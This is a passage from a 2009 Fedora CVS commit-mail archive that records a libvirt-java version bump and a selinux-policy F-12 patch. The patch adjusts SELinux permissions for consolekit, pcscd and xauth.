 	* Add exception handling in libselinux from Dan Walsh. This uses a


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libselinux/devel/sources,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- sources	28 Sep 2009 20:33:26 -0000	1.191
+++ sources	29 Oct 2009 19:36:32 -0000	1.192
@@ -1 +1 @@
-f70774d224d4e36ffcccd89ff03648cb  libselinux-2.0.87.tgz
+2b333d5387a310895021da788b07e956  libselinux-2.0.88.tgz



From bkearney at fedoraproject.org  Thu Oct 29 19:59:25 2009
From: bkearney at fedoraproject.org (Bryan Kearney)
Date: Thu, 29 Oct 2009 19:59:25 +0000 (UTC)
Subject: rpms/libvirt-java/devel .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 libvirt-java.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091029195925.2D30011C00E5@cvs1.fedora.phx.redhat.com>

Author: bkearney

Update of /cvs/pkgs/rpms/libvirt-java/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15371/devel

Modified Files:
	.cvsignore import.log libvirt-java.spec sources 
Log Message:
Added Domain and Connection closing issues found by Thomas Treutner



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	29 Jul 2009 16:28:23 -0000	1.4
+++ .cvsignore	29 Oct 2009 19:59:24 -0000	1.5
@@ -1 +1 @@
-libvirt-java-0.3.0.tar.gz
+libvirt-java-0.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	29 Jul 2009 16:28:24 -0000	1.1
+++ import.log	29 Oct 2009 19:59:24 -0000	1.2
@@ -1 +1,2 @@
 libvirt-java-0_3_0-1_fc10:HEAD:libvirt-java-0.3.0-1.fc10.src.rpm:1248884790
+libvirt-java-0_3_1-1_fc11:HEAD:libvirt-java-0.3.1-1.fc11.src.rpm:1256846079


Index: libvirt-java.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/devel/libvirt-java.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libvirt-java.spec	29 Jul 2009 16:28:24 -0000	1.6
+++ libvirt-java.spec	29 Oct 2009 19:59:24 -0000	1.7
@@ -1,6 +1,6 @@
 Summary:	Java bindings for the libvirt virtualization API
 Name:		libvirt-java
-Version:	0.3.0
+Version:	0.3.1
 Prefix:     libvirt
 Release:	1%{?dist}
 License:	LGPLv2+
@@ -83,6 +83,10 @@ rm -rf %{buildroot}
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 29 2009 Bryan Kearney <bkearney at redhat.com> - 0.3.1-1
+- Added maven building tools.
+- Fixed connection and domain bugs found by Thomas Treutner
+    
 * Wed Jul 29 2009 Bryan Kearney <bkearney at redhat.com> - 0.3.0-1
 - refactored the code to use jna (https://jna.dev.java.net/)
     


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	29 Jul 2009 16:28:24 -0000	1.4
+++ sources	29 Oct 2009 19:59:24 -0000	1.5
@@ -1 +1 @@
-99c18173026f84de4b62345c26e1af7c  libvirt-java-0.3.0.tar.gz
+423fbdab5dbe36aa35a9959d5f6df4bd  libvirt-java-0.3.1.tar.gz



From dwalsh at fedoraproject.org  Thu Oct 29 20:00:33 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 20:00:33 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.123,
	1.124 selinux-policy.spec, 1.956, 1.957
Message-ID: <20091029200033.4A21111C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16432

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
- Allow consolekit to manage /var/run/console directory
- Allow pcsd to r/w smartcard devices
- Temporarily allow xauth to read/write user_home_t


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    6 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   20 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   71 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   52 +
 policy/modules/apps/livecd.te             |   27 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   59 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   38 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  426 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.fc     |    3 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   21 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   44 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    2 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   23 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    4 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    3 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  181 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  342 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  290 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 376 files changed, 18273 insertions(+), 2760 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- policy-F12.patch	29 Oct 2009 14:30:24 -0000	1.123
+++ policy-F12.patch	29 Oct 2009 20:00:31 -0000	1.124
@@ -5909,7 +5909,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/named/chroot/dev/zero -c	gen_context(system_u:object_r:zero_device_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.if serefpolicy-3.6.32/policy/modules/kernel/devices.if
 --- nsaserefpolicy/policy/modules/kernel/devices.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-29 08:29:49.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-29 14:35:22.000000000 -0400
 @@ -1692,6 +1692,78 @@
  
  ########################################
@@ -11704,7 +11704,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/cluster/ccsd\.sock     -s      gen_context(system_u:object_r:ccs_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ccs.te serefpolicy-3.6.32/policy/modules/services/ccs.te
 --- nsaserefpolicy/policy/modules/services/ccs.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ccs.te	2009-10-17 06:50:43.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ccs.te	2009-10-29 11:16:33.000000000 -0400
 @@ -10,23 +10,21 @@
  type ccs_exec_t;
  init_daemon_domain(ccs_t, ccs_exec_t)
@@ -12316,8 +12316,12 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.te serefpolicy-3.6.32/policy/modules/services/consolekit.te
 --- nsaserefpolicy/policy/modules/services/consolekit.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-22 09:04:43.000000000 -0400
-@@ -62,12 +62,15 @@
++++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-29 14:34:49.000000000 -0400
+@@ -59,15 +59,19 @@
+ term_use_all_terms(consolekit_t)
+ 
+ auth_use_nsswitch(consolekit_t)
++auth_manage_pam_console_data(consolekit_t)
  
  init_telinit(consolekit_t)
  init_rw_utmp(consolekit_t)
@@ -12333,7 +12337,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_dontaudit_read_user_home_content_files(consolekit_t)
  userdom_read_user_tmp_files(consolekit_t)
  
-@@ -84,9 +87,12 @@
+@@ -84,9 +88,12 @@
  ')
  
  optional_policy(`
@@ -12347,7 +12351,7 @@ diff -b -B --ignore-all-space --exclude-
  		hal_dbus_chat(consolekit_t)
  	')
  
-@@ -100,6 +106,7 @@
+@@ -100,6 +107,7 @@
  ')
  
  optional_policy(`
@@ -12355,7 +12359,7 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(consolekit_t)
  	policykit_read_lib(consolekit_t)
  	policykit_read_reload(consolekit_t)
-@@ -108,10 +115,21 @@
+@@ -108,10 +116,21 @@
  optional_policy(`
  	xserver_read_xdm_pid(consolekit_t)
  	xserver_read_user_xauth(consolekit_t)
@@ -16703,7 +16707,7 @@ diff -b -B --ignore-all-space --exclude-
  miscfiles_read_localization(openvpn_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/pcscd.te serefpolicy-3.6.32/policy/modules/services/pcscd.te
 --- nsaserefpolicy/policy/modules/services/pcscd.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/pcscd.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/pcscd.te	2009-10-29 14:35:35.000000000 -0400
 @@ -29,6 +29,7 @@
  
  manage_dirs_pattern(pcscd_t, pcscd_var_run_t, pcscd_var_run_t)
@@ -16712,7 +16716,14 @@ diff -b -B --ignore-all-space --exclude-
  manage_sock_files_pattern(pcscd_t, pcscd_var_run_t, pcscd_var_run_t)
  files_pid_filetrans(pcscd_t, pcscd_var_run_t, { file sock_file dir })
  
-@@ -46,6 +47,8 @@
+@@ -40,12 +41,15 @@
+ corenet_tcp_connect_http_port(pcscd_t)
+ 
+ dev_rw_generic_usb_dev(pcscd_t)
++dev_rw_smartcard(pcscd_t)
+ dev_rw_usbfs(pcscd_t)
+ dev_search_sysfs(pcscd_t)
+ 
  files_read_etc_files(pcscd_t)
  files_read_etc_runtime_files(pcscd_t)
  
@@ -24172,7 +24183,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.te serefpolicy-3.6.32/policy/modules/services/xserver.te
 --- nsaserefpolicy/policy/modules/services/xserver.te	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-29 08:27:01.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-29 11:16:45.000000000 -0400
 @@ -34,6 +34,13 @@
  
  ## <desc>
@@ -24336,15 +24347,20 @@ diff -b -B --ignore-all-space --exclude-
  domain_use_interactive_fds(xauth_t)
  
  files_read_etc_files(xauth_t)
-@@ -278,6 +299,7 @@
- 
+@@ -279,6 +300,12 @@
  userdom_use_user_terminals(xauth_t)
  userdom_read_user_tmp_files(xauth_t)
-+userdom_dontaudit_rw_stream(xauth_t)
  
++ifdef(`hide_broken_symptoms', `
++     userdom_manage_user_home_content_files(xauth_t)
++')
++
++userdom_dontaudit_rw_stream(xauth_t)
++
  xserver_rw_xdm_tmp_files(xauth_t)
  
-@@ -300,20 +322,31 @@
+ tunable_policy(`use_nfs_home_dirs',`
+@@ -300,20 +327,31 @@
  # XDM Local policy
  #
  
@@ -24379,7 +24395,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # Allow gdm to run gdm-binary
  can_exec(xdm_t, xdm_exec_t)
-@@ -325,26 +358,43 @@
+@@ -325,26 +363,43 @@
  # this is ugly, daemons should not create files under /etc!
  manage_files_pattern(xdm_t, xdm_rw_etc_t, xdm_rw_etc_t)
  
@@ -24430,7 +24446,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xdm_t xserver_t:process signal;
  allow xdm_t xserver_t:unix_stream_socket connectto;
-@@ -358,6 +408,7 @@
+@@ -358,6 +413,7 @@
  allow xdm_t xserver_t:process { noatsecure siginh rlimitinh signal sigkill };
  
  allow xdm_t xserver_t:shm rw_shm_perms;
@@ -24438,7 +24454,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # connect to xdm xserver over stream socket
  stream_connect_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t, xserver_t)
-@@ -366,10 +417,14 @@
+@@ -366,10 +422,14 @@
  delete_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  delete_sock_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  
@@ -24454,7 +24470,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xdm_t)
  kernel_read_kernel_sysctls(xdm_t)
-@@ -389,11 +444,13 @@
+@@ -389,11 +449,13 @@
  corenet_udp_sendrecv_all_ports(xdm_t)
  corenet_tcp_bind_generic_node(xdm_t)
  corenet_udp_bind_generic_node(xdm_t)
@@ -24468,7 +24484,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_read_rand(xdm_t)
  dev_read_sysfs(xdm_t)
  dev_getattr_framebuffer_dev(xdm_t)
-@@ -401,6 +458,7 @@
+@@ -401,6 +463,7 @@
  dev_getattr_mouse_dev(xdm_t)
  dev_setattr_mouse_dev(xdm_t)
  dev_rw_apm_bios(xdm_t)
@@ -24476,7 +24492,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_setattr_apm_bios_dev(xdm_t)
  dev_rw_dri(xdm_t)
  dev_rw_agp(xdm_t)
-@@ -413,14 +471,17 @@
+@@ -413,14 +476,17 @@
  dev_setattr_video_dev(xdm_t)
  dev_getattr_scanner_dev(xdm_t)
  dev_setattr_scanner_dev(xdm_t)
@@ -24496,7 +24512,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xdm_t)
  files_read_var_files(xdm_t)
-@@ -431,9 +492,13 @@
+@@ -431,9 +497,13 @@
  files_read_usr_files(xdm_t)
  # Poweroff wants to create the /poweroff file when run from xdm
  files_create_boot_flag(xdm_t)
@@ -24510,7 +24526,7 @@ diff -b -B --ignore-all-space --exclude-
  
  storage_dontaudit_read_fixed_disk(xdm_t)
  storage_dontaudit_write_fixed_disk(xdm_t)
-@@ -442,6 +507,7 @@
+@@ -442,6 +512,7 @@
  storage_dontaudit_raw_write_removable_device(xdm_t)
  storage_dontaudit_setattr_removable_dev(xdm_t)
  storage_dontaudit_rw_scsi_generic(xdm_t)
@@ -24518,7 +24534,7 @@ diff -b -B --ignore-all-space --exclude-
  
  term_setattr_console(xdm_t)
